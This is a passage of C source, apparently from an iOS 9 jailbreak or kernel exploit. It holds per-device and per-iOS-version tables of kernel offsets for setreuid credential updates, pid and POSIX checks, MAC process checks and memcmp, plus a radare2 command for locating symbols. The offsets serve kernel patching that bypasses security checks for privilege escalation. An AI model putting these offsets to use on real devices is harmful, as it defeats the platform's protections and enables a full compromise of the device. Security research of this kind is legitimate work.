        case iPod51_iOS930: return 0x2fcc8c;
        case iPod51_iOS931: return 0x2fcc8c;
        case iPod51_iOS932: return 0x2fcd80;
        case iPod51_iOS933: return 0x2fcec0;
        case iPod51_iOS934: return 0x2fcec0;
        default: return 0;
    }
}

static inline unsigned int find_setreuid(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x2a9754;
        case iPhone41_iOS910: return 0x2aa31c;
        case iPhone41_iOS920: return 0x2a3ab4;
        case iPhone41_iOS921: return 0x2a3bc4;
        case iPhone41_iOS930: return 0x2a977c;
        case iPhone41_iOS931: return 0x2a977c;
        case iPhone41_iOS932: return 0x2a985c;
        case iPhone41_iOS933: return 0x2a9988;
        case iPhone41_iOS934: return 0x2a9988;
        case iPhone51_iOS910: return 0x2b00f0;
        case iPhone51_iOS920: return 0x2a9e24;
        case iPhone51_iOS921: return 0x2a9f34;
        case iPhone51_iOS930: return 0x2af658;
        case iPhone51_iOS931: return 0x2af658;
        case iPhone51_iOS932: return 0x2af5f8;
        case iPhone51_iOS933: return 0x2af7b8;
        case iPhone51_iOS934: return 0x2af7b8;
        case iPhone52_iOS902: return 0x2af674;
        case iPhone52_iOS910: return 0x2b00f0;
        case iPhone52_iOS920: return 0x2a9e24;
        case iPhone52_iOS921: return 0x2a9f34;
        case iPhone52_iOS930: return 0x2af658;
        case iPhone52_iOS931: return 0x2af658;
        case iPhone52_iOS932: return 0x2af5f8;
        case iPhone52_iOS933: return 0x2af7b8;
        case iPhone52_iOS934: return 0x2af7b8;
        case iPhone53_iOS910: return 0x2b00f0;
        case iPhone53_iOS920: return 0x2a9e24;
        case iPhone53_iOS921: return 0x2a9f34;
        case iPhone53_iOS930: return 0x2af658;
        case iPhone53_iOS931: return 0x2af658;
        case iPhone53_iOS932: return 0x2af5f8;
        case iPhone53_iOS933: return 0x2af7b8;
        case iPhone53_iOS934: return 0x2af7b8;
        case iPhone54_iOS910: return 0x2b00f0;
        case iPhone54_iOS920: return 0x2a9e24;
        case iPhone54_iOS921: return 0x2a9f34;
        case iPhone54_iOS930: return 0x2af658;
        case iPhone54_iOS931: return 0x2af658;
        case iPhone54_iOS932: return 0x2af5f8;
        case iPhone54_iOS933: return 0x2af7b8;
        case iPhone54_iOS934: return 0x2af7b8;
        case iPad21_iOS910: return 0x2aa31c;
        case iPad21_iOS920: return 0x2a3ab4;
        case iPad21_iOS921: return 0x2a3bc4;
        case iPad21_iOS930: return 0x2a977c;
        case iPad21_iOS931: return 0x2a977c;
        case iPad21_iOS932: return 0x2a985c;
        case iPad21_iOS933: return 0x2a9988;
        case iPad21_iOS934: return 0x2a9988;
        case iPad22_iOS910: return 0x2aa31c;
        case iPad22_iOS920: return 0x2a3ab4;
        case iPad22_iOS921: return 0x2a3bc4;
        case iPad22_iOS930: return 0x2a977c;
        case iPad22_iOS931: return 0x2a977c;
        case iPad22_iOS932: return 0x2a985c;
        case iPad22_iOS933: return 0x2a9988;
        case iPad22_iOS934: return 0x2a9988;
        case iPad23_iOS910: return 0x2aa31c;
        case iPad23_iOS920: return 0x2a3ab4;
        case iPad23_iOS921: return 0x2a3bc4;
        case iPad23_iOS930: return 0x2a977c;
        case iPad23_iOS931: return 0x2a977c;
        case iPad23_iOS932: return 0x2a985c;
        case iPad23_iOS933: return 0x2a9988;
        case iPad23_iOS934: return 0x2a9988;
        case iPad24_iOS910: return 0x2aa31c;
        case iPad24_iOS920: return 0x2a3ab4;
        case iPad24_iOS921: return 0x2a3bc4;
        case iPad24_iOS930: return 0x2a977c;
        case iPad24_iOS931: return 0x2a977c;
        case iPad24_iOS932: return 0x2a985c;
        case iPad24_iOS933: return 0x2a9988;
        case iPad24_iOS934: return 0x2a9988;
        case iPad25_iOS902: return 0x2a9754;
        case iPad31_iOS910: return 0x2aa31c;
        case iPad31_iOS920: return 0x2a3ab4;
        case iPad31_iOS921: return 0x2a3bc4;
        case iPad31_iOS930: return 0x2a977c;
        case iPad31_iOS931: return 0x2a977c;
        case iPad31_iOS932: return 0x2a985c;
        case iPad31_iOS933: return 0x2a9988;
        case iPad31_iOS934: return 0x2a9988;
        case iPad32_iOS910: return 0x2aa31c;
        case iPad32_iOS920: return 0x2a3ab4;
        case iPad32_iOS921: return 0x2a3bc4;
        case iPad32_iOS930: return 0x2a977c;
        case iPad32_iOS931: return 0x2a977c;
        case iPad32_iOS932: return 0x2a985c;
        case iPad32_iOS933: return 0x2a9988;
        case iPad32_iOS934: return 0x2a9988;
        case iPad33_iOS902: return 0x2a9754;
        case iPad33_iOS910: return 0x2aa31c;
        case iPad33_iOS920: return 0x2a3ab4;
        case iPad33_iOS921: return 0x2a3bc4;
        case iPad33_iOS930: return 0x2a977c;
        case iPad33_iOS931: return 0x2a977c;
        case iPad33_iOS932: return 0x2a985c;
        case iPad33_iOS933: return 0x2a9988;
        case iPad33_iOS934: return 0x2a9988;
        case iPad34_iOS910: return 0x2b00f0;
        case iPad34_iOS920: return 0x2a9e24;
        case iPad34_iOS921: return 0x2a9f34;
        case iPad34_iOS930: return 0x2af658;
        case iPad34_iOS931: return 0x2af658;
        case iPad34_iOS932: return 0x2af5f8;
        case iPad34_iOS933: return 0x2af7b8;
        case iPad34_iOS934: return 0x2af7b8;
        case iPad35_iOS910: return 0x2b00f0;
        case iPad35_iOS920: return 0x2a9e24;
        case iPad35_iOS921: return 0x2a9f34;
        case iPad35_iOS930: return 0x2af658;
        case iPad35_iOS931: return 0x2af658;
        case iPad35_iOS932: return 0x2af5f8;
        case iPad35_iOS933: return 0x2af7b8;
        case iPad35_iOS934: return 0x2af7b8;
        case iPad36_iOS910: return 0x2b00f0;
        case iPad36_iOS920: return 0x2a9e24;
        case iPad36_iOS921: return 0x2a9f34;
        case iPad36_iOS930: return 0x2af658;
        case iPad36_iOS931: return 0x2af658;
        case iPad36_iOS932: return 0x2af5f8;
        case iPad36_iOS933: return 0x2af7b8;
        case iPad36_iOS934: return 0x2af7b8;
        case iPod51_iOS910: return 0x2aa31c;
        case iPod51_iOS920: return 0x2a3ab4;
        case iPod51_iOS921: return 0x2a3bc4;
        case iPod51_iOS930: return 0x2a977c;
        case iPod51_iOS931: return 0x2a977c;
        case iPod51_iOS932: return 0x2a985c;
        case iPod51_iOS933: return 0x2a9988;
        case iPod51_iOS934: return 0x2a9988;
        default: return 0;
    }
}

static inline unsigned int find_setreuid_cred_update(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0xe040;
        case iPhone41_iOS910: return 0xe031;
        case iPhone41_iOS920: return 0xe031;
        case iPhone41_iOS921: return 0xe031;
        case iPhone41_iOS930: return 0xe031;
        case iPhone41_iOS931: return 0xe031;
        case iPhone41_iOS932: return 0xe031;
        case iPhone41_iOS933: return 0xe031;
        case iPhone41_iOS934: return 0xe031;
        case iPhone51_iOS910: return 0xe031;
        case iPhone51_iOS920: return 0xe031;
        case iPhone51_iOS921: return 0xe031;
        case iPhone51_iOS930: return 0xe031;
        case iPhone51_iOS931: return 0xe031;
        case iPhone51_iOS932: return 0xe031;
        case iPhone51_iOS933: return 0xe031;
        case iPhone51_iOS934: return 0xe031;
        case iPhone52_iOS902: return 0xe042;
        case iPhone52_iOS910: return 0xe031;
        case iPhone52_iOS920: return 0xe031;
        case iPhone52_iOS921: return 0xe031;
        case iPhone52_iOS930: return 0xe031;
        case iPhone52_iOS931: return 0xe031;
        case iPhone52_iOS932: return 0xe031;
        case iPhone52_iOS933: return 0xe031;
        case iPhone52_iOS934: return 0xe031;
        case iPhone53_iOS910: return 0xe031;
        case iPhone53_iOS920: return 0xe031;
        case iPhone53_iOS921: return 0xe031;
        case iPhone53_iOS930: return 0xe031;
        case iPhone53_iOS931: return 0xe031;
        case iPhone53_iOS932: return 0xe031;
        case iPhone53_iOS933: return 0xe031;
        case iPhone53_iOS934: return 0xe031;
        case iPhone54_iOS910: return 0xe031;
        case iPhone54_iOS920: return 0xe031;
        case iPhone54_iOS921: return 0xe031;
        case iPhone54_iOS930: return 0xe031;
        case iPhone54_iOS931: return 0xe031;
        case iPhone54_iOS932: return 0xe031;
        case iPhone54_iOS933: return 0xe031;
        case iPhone54_iOS934: return 0xe031;
        case iPad21_iOS910: return 0xe031;
        case iPad21_iOS920: return 0xe031;
        case iPad21_iOS921: return 0xe031;
        case iPad21_iOS930: return 0xe031;
        case iPad21_iOS931: return 0xe031;
        case iPad21_iOS932: return 0xe031;
        case iPad21_iOS933: return 0xe031;
        case iPad21_iOS934: return 0xe031;
        case iPad22_iOS910: return 0xe031;
        case iPad22_iOS920: return 0xe031;
        case iPad22_iOS921: return 0xe031;
        case iPad22_iOS930: return 0xe031;
        case iPad22_iOS931: return 0xe031;
        case iPad22_iOS932: return 0xe031;
        case iPad22_iOS933: return 0xe031;
        case iPad22_iOS934: return 0xe031;
        case iPad23_iOS910: return 0xe031;
        case iPad23_iOS920: return 0xe031;
        case iPad23_iOS921: return 0xe031;
        case iPad23_iOS930: return 0xe031;
        case iPad23_iOS931: return 0xe031;
        case iPad23_iOS932: return 0xe031;
        case iPad23_iOS933: return 0xe031;
        case iPad23_iOS934: return 0xe031;
        case iPad24_iOS910: return 0xe031;
        case iPad24_iOS920: return 0xe031;
        case iPad24_iOS921: return 0xe031;
        case iPad24_iOS930: return 0xe031;
        case iPad24_iOS931: return 0xe031;
        case iPad24_iOS932: return 0xe031;
        case iPad24_iOS933: return 0xe031;
        case iPad24_iOS934: return 0xe031;
        case iPad25_iOS902: return 0xe031;
        case iPad31_iOS910: return 0xe031;
        case iPad31_iOS920: return 0xe031;
        case iPad31_iOS921: return 0xe031;
        case iPad31_iOS930: return 0xe031;
        case iPad31_iOS931: return 0xe031;
        case iPad31_iOS932: return 0xe031;
        case iPad31_iOS933: return 0xe031;
        case iPad31_iOS934: return 0xe031;
        case iPad32_iOS910: return 0xe031;
        case iPad32_iOS920: return 0xe031;
        case iPad32_iOS921: return 0xe031;
        case iPad32_iOS930: return 0xe031;
        case iPad32_iOS931: return 0xe031;
        case iPad32_iOS932: return 0xe031;
        case iPad32_iOS933: return 0xe031;
        case iPad32_iOS934: return 0xe031;
        case iPad33_iOS902: return 0xe031;
        case iPad33_iOS910: return 0xe031;
        case iPad33_iOS920: return 0xe031;
        case iPad33_iOS921: return 0xe031;
        case iPad33_iOS930: return 0xe031;
        case iPad33_iOS931: return 0xe031;
        case iPad33_iOS932: return 0xe031;
        case iPad33_iOS933: return 0xe031;
        case iPad33_iOS934: return 0xe031;
        case iPad34_iOS910: return 0xe031;
        case iPad34_iOS920: return 0xe031;
        case iPad34_iOS921: return 0xe031;
        case iPad34_iOS930: return 0xe031;
        case iPad34_iOS931: return 0xe031;
        case iPad34_iOS932: return 0xe031;
        case iPad34_iOS933: return 0xe031;
        case iPad34_iOS934: return 0xe031;
        case iPad35_iOS910: return 0xe031;
        case iPad35_iOS920: return 0xe031;
        case iPad35_iOS921: return 0xe031;
        case iPad35_iOS930: return 0xe031;
        case iPad35_iOS931: return 0xe031;
        case iPad35_iOS932: return 0xe031;
        case iPad35_iOS933: return 0xe031;
        case iPad35_iOS934: return 0xe031;
        case iPad36_iOS910: return 0xe031;
        case iPad36_iOS920: return 0xe031;
        case iPad36_iOS921: return 0xe031;
        case iPad36_iOS930: return 0xe031;
        case iPad36_iOS931: return 0xe031;
        case iPad36_iOS932: return 0xe031;
        case iPad36_iOS933: return 0xe031;
        case iPad36_iOS934: return 0xe031;
        case iPod51_iOS910: return 0xe03e;
        case iPod51_iOS920: return 0xe031;
        case iPod51_iOS921: return 0xe031;
        case iPod51_iOS930: return 0xe031;
        case iPod51_iOS931: return 0xe031;
        case iPod51_iOS932: return 0xe031;
        case iPod51_iOS933: return 0xe031;
        case iPod51_iOS934: return 0xe031;
        default: return 0;
    }
}

static inline unsigned int find_pid_check(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x16;
        case iPhone41_iOS910: return 0x14;
        case iPhone41_iOS920: return 0x14;
        case iPhone41_iOS921: return 0x14;
        case iPhone41_iOS930: return 0x14;
        case iPhone41_iOS931: return 0x14;
        case iPhone41_iOS932: return 0x14;
        case iPhone41_iOS933: return 0x14;
        case iPhone41_iOS934: return 0x14;
        case iPhone51_iOS910: return 0x16;
        case iPhone51_iOS920: return 0x16;
        case iPhone51_iOS921: return 0x16;
        case iPhone51_iOS930: return 0x16;
        case iPhone51_iOS931: return 0x16;
        case iPhone51_iOS932: return 0x16;
        case iPhone51_iOS933: return 0x16;
        case iPhone51_iOS934: return 0x16;
        case iPhone52_iOS902: return 0x18;
        case iPhone52_iOS910: return 0x16;
        case iPhone52_iOS920: return 0x16;
        case iPhone52_iOS921: return 0x16;
        case iPhone52_iOS930: return 0x16;
        case iPhone52_iOS931: return 0x16;
        case iPhone52_iOS932: return 0x16;
        case iPhone52_iOS933: return 0x16;
        case iPhone52_iOS934: return 0x16;
        case iPhone53_iOS910: return 0x16;
        case iPhone53_iOS920: return 0x16;
        case iPhone53_iOS921: return 0x16;
        case iPhone53_iOS930: return 0x16;
        case iPhone53_iOS931: return 0x16;
        case iPhone53_iOS932: return 0x16;
        case iPhone53_iOS933: return 0x16;
        case iPhone53_iOS934: return 0x16;
        case iPhone54_iOS910: return 0x16;
        case iPhone54_iOS920: return 0x16;
        case iPhone54_iOS921: return 0x16;
        case iPhone54_iOS930: return 0x16;
        case iPhone54_iOS931: return 0x16;
        case iPhone54_iOS932: return 0x16;
        case iPhone54_iOS933: return 0x16;
        case iPhone54_iOS934: return 0x16;
        case iPad21_iOS910: return 0x16;
        case iPad21_iOS920: return 0x14;
        case iPad21_iOS921: return 0x14;
        case iPad21_iOS930: return 0x14;
        case iPad21_iOS931: return 0x14;
        case iPad21_iOS932: return 0x14;
        case iPad21_iOS933: return 0x14;
        case iPad21_iOS934: return 0x14;
        case iPad22_iOS910: return 0x16;
        case iPad22_iOS920: return 0x14;
        case iPad22_iOS921: return 0x14;
        case iPad22_iOS930: return 0x14;
        case iPad22_iOS931: return 0x14;
        case iPad22_iOS932: return 0x14;
        case iPad22_iOS933: return 0x14;
        case iPad22_iOS934: return 0x14;
        case iPad23_iOS910: return 0x16;
        case iPad23_iOS920: return 0x14;
        case iPad23_iOS921: return 0x14;
        case iPad23_iOS930: return 0x14;
        case iPad23_iOS931: return 0x14;
        case iPad23_iOS932: return 0x14;
        case iPad23_iOS933: return 0x14;
        case iPad23_iOS934: return 0x14;
        case iPad24_iOS910: return 0x16;
        case iPad24_iOS920: return 0x14;
        case iPad24_iOS921: return 0x14;
        case iPad24_iOS930: return 0x14;
        case iPad24_iOS931: return 0x14;
        case iPad24_iOS932: return 0x14;
        case iPad24_iOS933: return 0x14;
        case iPad24_iOS934: return 0x14;
        case iPad25_iOS902: return 0x16;
        case iPad31_iOS910: return 0x16;
        case iPad31_iOS920: return 0x14;
        case iPad31_iOS921: return 0x14;
        case iPad31_iOS930: return 0x14;
        case iPad31_iOS931: return 0x14;
        case iPad31_iOS932: return 0x14;
        case iPad31_iOS933: return 0x14;
        case iPad31_iOS934: return 0x14;
        case iPad32_iOS910: return 0x16;
        case iPad32_iOS920: return 0x14;
        case iPad32_iOS921: return 0x14;
        case iPad32_iOS930: return 0x14;
        case iPad32_iOS931: return 0x14;
        case iPad32_iOS932: return 0x14;
        case iPad32_iOS933: return 0x14;
        case iPad32_iOS934: return 0x14;
        case iPad33_iOS902: return 0x16;
        case iPad33_iOS910: return 0x16;
        case iPad33_iOS920: return 0x14;
        case iPad33_iOS921: return 0x14;
        case iPad33_iOS930: return 0x14;
        case iPad33_iOS931: return 0x14;
        case iPad33_iOS932: return 0x14;
        case iPad33_iOS933: return 0x14;
        case iPad33_iOS934: return 0x14;
        case iPad34_iOS910: return 0x16;
        case iPad34_iOS920: return 0x14;
        case iPad34_iOS921: return 0x14;
        case iPad34_iOS930: return 0x14;
        case iPad34_iOS931: return 0x14;
        case iPad34_iOS932: return 0x14;
        case iPad34_iOS933: return 0x14;
        case iPad34_iOS934: return 0x14;
        case iPad35_iOS910: return 0x16;
        case iPad35_iOS920: return 0x14;
        case iPad35_iOS921: return 0x14;
        case iPad35_iOS930: return 0x14;
        case iPad35_iOS931: return 0x14;
        case iPad35_iOS932: return 0x14;
        case iPad35_iOS933: return 0x14;
        case iPad35_iOS934: return 0x14;
        case iPad36_iOS910: return 0x16;
        case iPad36_iOS920: return 0x14;
        case iPad36_iOS921: return 0x14;
        case iPad36_iOS930: return 0x14;
        case iPad36_iOS931: return 0x14;
        case iPad36_iOS932: return 0x14;
        case iPad36_iOS933: return 0x14;
        case iPad36_iOS934: return 0x14;
        case iPod51_iOS910: return 0x16;
        case iPod51_iOS920: return 0x14;
        case iPod51_iOS921: return 0x14;
        case iPod51_iOS930: return 0x14;
        case iPod51_iOS931: return 0x14;
        case iPod51_iOS932: return 0x14;
        case iPod51_iOS933: return 0x14;
        case iPod51_iOS934: return 0x14;
        default: return 0;
    }
}

static inline unsigned int find_posix_check(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x40;
        case iPhone41_iOS910: return 0x3e;
        case iPhone41_iOS920: return 0x3e;
        case iPhone41_iOS921: return 0x3e;
        case iPhone41_iOS930: return 0x3e;
        case iPhone41_iOS931: return 0x3e;
        case iPhone41_iOS932: return 0x3e;
        case iPhone41_iOS933: return 0x3e;
        case iPhone41_iOS934: return 0x3e;
        case iPhone51_iOS910: return 0x3e;
        case iPhone51_iOS920: return 0x3e;
        case iPhone51_iOS921: return 0x3e;
        case iPhone51_iOS930: return 0x3e;
        case iPhone51_iOS931: return 0x3e;
        case iPhone51_iOS932: return 0x3e;
        case iPhone51_iOS933: return 0x3e;
        case iPhone51_iOS934: return 0x3e;
        case iPhone52_iOS902: return 0x40;
        case iPhone52_iOS910: return 0x3e;
        case iPhone52_iOS920: return 0x3e;
        case iPhone52_iOS921: return 0x3e;
        case iPhone52_iOS930: return 0x3e;
        case iPhone52_iOS931: return 0x3e;
        case iPhone52_iOS932: return 0x3e;
        case iPhone52_iOS933: return 0x3e;
        case iPhone52_iOS934: return 0x3e;
        case iPhone53_iOS910: return 0x3e;
        case iPhone53_iOS920: return 0x3e;
        case iPhone53_iOS921: return 0x3e;
        case iPhone53_iOS930: return 0x3e;
        case iPhone53_iOS931: return 0x3e;
        case iPhone53_iOS932: return 0x3e;
        case iPhone53_iOS933: return 0x3e;
        case iPhone53_iOS934: return 0x3e;
        case iPhone54_iOS910: return 0x3e;
        case iPhone54_iOS920: return 0x3e;
        case iPhone54_iOS921: return 0x3e;
        case iPhone54_iOS930: return 0x3e;
        case iPhone54_iOS931: return 0x3e;
        case iPhone54_iOS932: return 0x3e;
        case iPhone54_iOS933: return 0x3e;
        case iPhone54_iOS934: return 0x3e;
        case iPad21_iOS910: return 0x40;
        case iPad21_iOS920: return 0x3e;
        case iPad21_iOS921: return 0x3e;
        case iPad21_iOS930: return 0x3e;
        case iPad21_iOS931: return 0x3e;
        case iPad21_iOS932: return 0x3e;
        case iPad21_iOS933: return 0x3e;
        case iPad21_iOS934: return 0x3e;
        case iPad22_iOS910: return 0x40;
        case iPad22_iOS920: return 0x3e;
        case iPad22_iOS921: return 0x3e;
        case iPad22_iOS930: return 0x3e;
        case iPad22_iOS931: return 0x3e;
        case iPad22_iOS932: return 0x3e;
        case iPad22_iOS933: return 0x3e;
        case iPad22_iOS934: return 0x3e;
        case iPad23_iOS910: return 0x40;
        case iPad23_iOS920: return 0x3e;
        case iPad23_iOS921: return 0x3e;
        case iPad23_iOS930: return 0x3e;
        case iPad23_iOS931: return 0x3e;
        case iPad23_iOS932: return 0x3e;
        case iPad23_iOS933: return 0x3e;
        case iPad23_iOS934: return 0x3e;
        case iPad24_iOS910: return 0x40;
        case iPad24_iOS920: return 0x3e;
        case iPad24_iOS921: return 0x3e;
        case iPad24_iOS930: return 0x3e;
        case iPad24_iOS931: return 0x3e;
        case iPad24_iOS932: return 0x3e;
        case iPad24_iOS933: return 0x3e;
        case iPad24_iOS934: return 0x3e;
        case iPad25_iOS902: return 0x40;
        case iPad31_iOS910: return 0x40;
        case iPad31_iOS920: return 0x3e;
        case iPad31_iOS921: return 0x3e;
        case iPad31_iOS930: return 0x3e;
        case iPad31_iOS931: return 0x3e;
        case iPad31_iOS932: return 0x3e;
        case iPad31_iOS933: return 0x3e;
        case iPad31_iOS934: return 0x3e;
        case iPad32_iOS910: return 0x40;
        case iPad32_iOS920: return 0x3e;
        case iPad32_iOS921: return 0x3e;
        case iPad32_iOS930: return 0x3e;
        case iPad32_iOS931: return 0x3e;
        case iPad32_iOS932: return 0x3e;
        case iPad32_iOS933: return 0x3e;
        case iPad32_iOS934: return 0x3e;
        case iPad33_iOS902: return 0x40;
        case iPad33_iOS910: return 0x40;
        case iPad33_iOS920: return 0x3e;
        case iPad33_iOS921: return 0x3e;
        case iPad33_iOS930: return 0x3e;
        case iPad33_iOS931: return 0x3e;
        case iPad33_iOS932: return 0x3e;
        case iPad33_iOS933: return 0x3e;
        case iPad33_iOS934: return 0x3e;
        case iPad34_iOS910: return 0x40;
        case iPad34_iOS920: return 0x3e;
        case iPad34_iOS921: return 0x3e;
        case iPad34_iOS930: return 0x3e;
        case iPad34_iOS931: return 0x3e;
        case iPad34_iOS932: return 0x3e;
        case iPad34_iOS933: return 0x3e;
        case iPad34_iOS934: return 0x3e;
        case iPad35_iOS910: return 0x40;
        case iPad35_iOS920: return 0x3e;
        case iPad35_iOS921: return 0x3e;
        case iPad35_iOS930: return 0x3e;
        case iPad35_iOS931: return 0x3e;
        case iPad35_iOS932: return 0x3e;
        case iPad35_iOS933: return 0x3e;
        case iPad35_iOS934: return 0x3e;
        case iPad36_iOS910: return 0x40;
        case iPad36_iOS920: return 0x3e;
        case iPad36_iOS921: return 0x3e;
        case iPad36_iOS930: return 0x3e;
        case iPad36_iOS931: return 0x3e;
        case iPad36_iOS932: return 0x3e;
        case iPad36_iOS933: return 0x3e;
        case iPad36_iOS934: return 0x3e;
        case iPod51_iOS910: return 0x40;
        case iPod51_iOS920: return 0x3e;
        case iPod51_iOS921: return 0x3e;
        case iPod51_iOS930: return 0x3e;
        case iPod51_iOS931: return 0x3e;
        case iPod51_iOS932: return 0x3e;
        case iPod51_iOS933: return 0x3e;
        case iPod51_iOS934: return 0x3e;
        default: return 0;
    }
}

static inline unsigned int find_mac_proc_check(void) {
    switch (target_environment) {
        case iPhone41_iOS902: return 0x224;
        case iPhone41_iOS910: return 0x224;
        case iPhone41_iOS920: return 0x1e6;
        case iPhone41_iOS921: return 0x1e6;
        case iPhone41_iOS930: return 0x1e6;
        case iPhone41_iOS931: return 0x1e6;
        case iPhone41_iOS932: return 0x1e6;
        case iPhone41_iOS933: return 0x1e6;
        case iPhone41_iOS934: return 0x1e6;
        case iPhone51_iOS910: return 0x1e6;
        case iPhone51_iOS920: return 0x1e6;
        case iPhone51_iOS921: return 0x1e6;
        case iPhone51_iOS930: return 0x1e6;
        case iPhone51_iOS931: return 0x1e6;
        case iPhone51_iOS932: return 0x1e6;
        case iPhone51_iOS933: return 0x1e6;
        case iPhone51_iOS934: return 0x1e6;
        case iPhone52_iOS902: return 0x224;
        case iPhone52_iOS910: return 0x1e6;
        case iPhone52_iOS920: return 0x1e6;
        case iPhone52_iOS921: return 0x1e6;
        case iPhone52_iOS930: return 0x1e6;
        case iPhone52_iOS931: return 0x1e6;
        case iPhone52_iOS932: return 0x1e6;
        case iPhone52_iOS933: return 0x1e6;
        case iPhone52_iOS934: return 0x1e6;
        case iPhone53_iOS910: return 0x1e6;
        case iPhone53_iOS920: return 0x1e6;
        case iPhone53_iOS921: return 0x1e6;
        case iPhone53_iOS930: return 0x1e6;
        case iPhone53_iOS931: return 0x1e6;
        case iPhone53_iOS932: return 0x1e6;
        case iPhone53_iOS933: return 0x1e6;
        case iPhone53_iOS934: return 0x1e6;
        case iPhone54_iOS910: return 0x1e6;
        case iPhone54_iOS920: return 0x1e6;
        case iPhone54_iOS921: return 0x1e6;
        case iPhone54_iOS930: return 0x1e6;
        case iPhone54_iOS931: return 0x1e6;
        case iPhone54_iOS932: return 0x1e6;
        case iPhone54_iOS933: return 0x1e6;
        case iPhone54_iOS934: return 0x1e6;
        case iPad21_iOS910: return 0x224;
        case iPad21_iOS920: return 0x1e6;
        case iPad21_iOS921: return 0x1e6;
        case iPad21_iOS930: return 0x1e6;
        case iPad21_iOS931: return 0x1e6;
        case iPad21_iOS932: return 0x1e6;
        case iPad21_iOS933: return 0x1e6;
        case iPad21_iOS934: return 0x1e6;
        case iPad22_iOS910: return 0x224;
        case iPad22_iOS920: return 0x1e6;
        case iPad22_iOS921: return 0x1e6;
        case iPad22_iOS930: return 0x1e6;
        case iPad22_iOS931: return 0x1e6;
        case iPad22_iOS932: return 0x1e6;
        case iPad22_iOS933: return 0x1e6;
        case iPad22_iOS934: return 0x1e6;
        case iPad23_iOS910: return 0x224;
        case iPad23_iOS920: return 0x1e6;
        case iPad23_iOS921: return 0x1e6;
        case iPad23_iOS930: return 0x1e6;
        case iPad23_iOS931: return 0x1e6;
        case iPad23_iOS932: return 0x1e6;
        case iPad23_iOS933: return 0x1e6;
        case iPad23_iOS934: return 0x1e6;
        case iPad24_iOS910: return 0x224;
        case iPad24_iOS920: return 0x1e6;
        case iPad24_iOS921: return 0x1e6;
        case iPad24_iOS930: return 0x1e6;
        case iPad24_iOS931: return 0x1e6;
        case iPad24_iOS932: return 0x1e6;
        case iPad24_iOS933: return 0x1e6;
        case iPad24_iOS934: return 0x1e6;
        case iPad25_iOS902: return 0x224;
        case iPad31_iOS910: return 0x224;
        case iPad31_iOS920: return 0x1e6;
        case iPad31_iOS921: return 0x1e6;
        case iPad31_iOS930: return 0x1e6;
        case iPad31_iOS931: return 0x1e6;
        case iPad31_iOS932: return 0x1e6;
        case iPad31_iOS933: return 0x1e6;
        case iPad31_iOS934: return 0x1e6;
        case iPad32_iOS910: return 0x224;
        case iPad32_iOS920: return 0x1e6;
        case iPad32_iOS921: return 0x1e6;
        case iPad32_iOS930: return 0x1e6;
        case iPad32_iOS931: return 0x1e6;
        case iPad32_iOS932: return 0x1e6;
        case iPad32_iOS933: return 0x1e6;
        case iPad32_iOS934: return 0x1e6;
        case iPad33_iOS902: return 0x224;
        case iPad33_iOS910: return 0x224;
        case iPad33_iOS920: return 0x1e6;
        case iPad33_iOS921: return 0x1e6;
        case iPad33_iOS930: return 0x1e6;
        case iPad33_iOS931: return 0x1e6;
        case iPad33_iOS932: return 0x1e6;
        case iPad33_iOS933: return 0x1e6;
        case iPad33_iOS934: return 0x1e6;
        case iPad34_iOS910: return 0x224;
        case iPad34_iOS920: return 0x1e6;
        case iPad34_iOS921: return 0x1e6;
        case iPad34_iOS930: return 0x1e6;
        case iPad34_iOS931: return 0x1e6;
        case iPad34_iOS932: return 0x1e6;
        case iPad34_iOS933: return 0x1e6;
        case iPad34_iOS934: return 0x1e6;
        case iPad35_iOS910: return 0x224;
        case iPad35_iOS920: return 0x1e6;
        case iPad35_iOS921: return 0x1e6;
        case iPad35_iOS930: return 0x1e6;
        case iPad35_iOS931: return 0x1e6;
        case iPad35_iOS932: return 0x1e6;
        case iPad35_iOS933: return 0x1e6;
        case iPad35_iOS934: return 0x1e6;
        case iPad36_iOS910: return 0x224;
        case iPad36_iOS920: return 0x1e6;
        case iPad36_iOS921: return 0x1e6;
        case iPad36_iOS930: return 0x1e6;
        case iPad36_iOS931: return 0x1e6;
        case iPad36_iOS932: return 0x1e6;
        case iPad36_iOS933: return 0x1e6;
        case iPad36_iOS934: return 0x1e6;
        case iPod51_iOS910: return 0x224;
        case iPod51_iOS920: return 0x1e6;
        case iPod51_iOS921: return 0x1e6;
        case iPod51_iOS930: return 0x1e6;
        case iPod51_iOS931: return 0x1e6;
        case iPod51_iOS932: return 0x1e6;
        case iPod51_iOS933: return 0x1e6;
        case iPod51_iOS934: return 0x1e6;
        default: return 0;
    }
}

/*r2 -q kcache/kernelcache.bin -c "is" | grep memcmp*/
/*3588 0x000c3c80 0x800c4c80 GLOBAL   FUNC    0 _memcmp*/
static inline unsigned int find_memcmp(void) {
    switch (target_environment) {
        case iPhone41_iOS934: return 0x000c085c;
        case iPhone41_iOS933: return 0x000c085c;
        case iPhone41_iOS932: return 0x000c08ec;
        case iPhone41_iOS930: return 0x000c08dc;
        case iPhone41_iOS921: return 0x000bfd7c;
        case iPhone41_iOS920: return 0x000bfd2c;
        case iPhone41_iOS910: return 0x000c1340;
        case iPhone41_iOS902: return 0x000c11d0;
        case iPhone51_iOS934: return 0x000c3e10;
        case iPhone51_iOS933: return 0x000c3e10;
        case iPhone51_iOS932: return 0x000c3c80;
        case iPhone51_iOS930: return 0x000c3c90;
        case iPhone51_iOS921: return 0x000c2ff0;
        case iPhone51_iOS920: return 0x000c2fb0;
        case iPhone51_iOS910: return 0x000c42c4;
        /*case iPhone51_iOS902: return 0x000c4124;*/
        case iPhone52_iOS934: return 0x000c3e10;
        case iPhone52_iOS933: return 0x000c3e10;
        case iPhone52_iOS932: return 0x000c3c80;
        case iPhone52_iOS930: return 0x000c3c90;
        case iPhone52_iOS921: return 0x000c2ff0;
        case iPhone52_iOS920: return 0x000c2fb0;
        case iPhone52_iOS910: return 0x000c42c4;
        case iPhone52_iOS902: return 0x000c4124;
        case iPhone53_iOS934: return 0x000c3e10;
        case iPhone53_iOS933: return 0x000c3e10;
        case iPhone53_iOS932: return 0x000c3c80;
        case iPhone53_iOS930: return 0x000c3c90;
        case iPhone53_iOS921: return 0x000c2ff0;
        case iPhone53_iOS920: return 0x000c2fb0;
        case iPhone53_iOS910: return 0x000c42c4;
        /*case iPhone53_iOS902: return 0x000c4124;*/
        case iPhone54_iOS934: return 0x000c3e10;
        case iPhone54_iOS933: return 0x000c3e10;
